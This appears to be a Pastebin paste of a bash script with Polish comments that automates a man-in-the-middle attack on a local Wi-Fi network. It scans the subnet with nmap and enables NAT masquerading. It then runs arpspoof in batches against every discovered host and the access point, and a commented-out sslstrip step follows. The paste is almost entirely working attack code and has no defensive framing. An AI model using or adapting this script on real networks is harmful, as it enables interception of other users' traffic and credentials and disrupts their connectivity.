Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- # TODO: wyciąć adres routera z targets.txt
- # TODO: posprzątać po daemonach
- NIC=wlx48022abcf466
- SCAN_IP_ADDR=192.168.0.1
- AP_IP=192.168.0.255
- SCAN_SUBNET_MASK=24
- MY_IP=$(ifconfig $NIC | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1')
- echo $MY_IP
- # Network scan
- # SCAN_RESULT=$(nmap -sP ${SCAN_IP_ADDR}/${SCAN_SUBNET_MASK})
- nmap -sP ${SCAN_IP_ADDR}/${SCAN_SUBNET_MASK} > tmp.txt
- cat tmp.txt | grep -o -P "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > targets.txt
- # echo "${SCAN_RESULT}" | grep -o -P "([0-9]{1,3}[\.]){3}[0-9]{1,3}" > targets.txt
- sed "/$MY_IP/d" targets.txt
- cp targets.txt targets_backup.txt
- # IP Forwarding preparings
- sysctl -w net.ipv4.ip_forward=0
- iptables -P FORWARD ACCEPT
- iptables --table nat -A POSTROUTING -o $NIC -j MASQUERADE
- # ARP Spoof on AP and hosts
- iter=$(cat targets.txt | wc -l)
- let iter/=5
- for (( i=0; $i <= $iter; i++)) ; do
- # arpspoof -i $NIC -t $AP_IP $(cat targets.txt | head -n $i | tail -n 1) &
- # arpspoof -i $NIC -t $(cat targets.txt | head -n $i | tail -n 1) $AP_IP &
- for (( j=1; $j < 6; j++)) ; do
- target_ip=$(sed "${j}q;d" targets.txt)
- arpspoof -i $NIC -t $AP_IP $target_ip &
- echo $! >> pids.tmp
- target_ipx=$(sed "${j}q;d" targets.txt)
- arpspoof -i $NIC -t $target_ipx $AP_IP &
- echo $! >> pids.tmp
- # tab[i+1]=
- done
- sleep 1m
- sed -i -e 1,5d targets.txt
- while read p; do
- kill -9 "${p}"
- done <pids.tmp
- rm pids.tmp
- done
- # SSL Strip
- # sslstrip -f -k -p &
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement